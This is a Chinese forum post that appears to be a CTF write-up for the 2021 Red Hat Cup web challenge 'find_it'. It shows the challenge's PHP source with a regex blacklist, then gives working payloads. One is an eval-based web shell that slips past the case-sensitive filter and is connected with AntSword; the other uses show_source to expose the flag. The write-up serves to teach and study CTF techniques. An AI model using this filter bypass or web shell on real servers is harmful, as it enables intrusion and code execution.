-
-
[原创][CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
-
2021-5-12 19:31 6242
-
[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
看群里说CTFHub上复现了, 我来看看
本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了
只能想想其他办法咯
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php #Really easy... $ file = fopen( "flag.php" , "r" ) or die( "Unable 2 open!" ); $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($ file ,filesize( "flag.php" )); $hack = fopen( "hack.php" , "w" ) or die( "Unable 2 open" ); $a = $_GET[ 'code' ]; if (preg_match( '/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/' ,$a)){ die( "you die" ); } if (strlen($a)> 33 ){ die( "nonono." ); } fwrite($hack,$a); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); fclose($ file ); fclose($hack); ?> |
preg_match()
过滤了eval
但是!!!!!
Eval
它没ban
所以我们可以写'大'马
构造payload:
1 | / ?code = <?php % 20 @ Eval ($_POST[ 'aaa' ]);?> |
蚁剑连马
拿到flag:
但是作为菜鸡
我还是要重新思考一下这道题的思路:
代码中有几个函数需要注意一下
比如fopen()
,fwrite()
,fread()
1 2 | fread() 函数读取文件 $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($ file ,filesize( "flag.php" )); |
也就是说,这里已经读到了flag
1 2 3 4 | $a = $_GET[ 'code' ]; fwrite($hack,$a); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); 这里又都写到了hack.php |
所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中
但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)
但是我想到了另外一个函数show_source()
1 | show_source() 函数对文件进行语法高亮显示。 |
随机构造payload:
1 2 | / ?code = <?php show_source(__FILE__);?> 也没有被ban的项,正常传入 |
然后访问hack.php
flag他就出来了。。。。
同时还有我传入的payload
搞一波骚操作!
所以,今天又学到了新姿势~~~~
赞赏
他的文章
看原图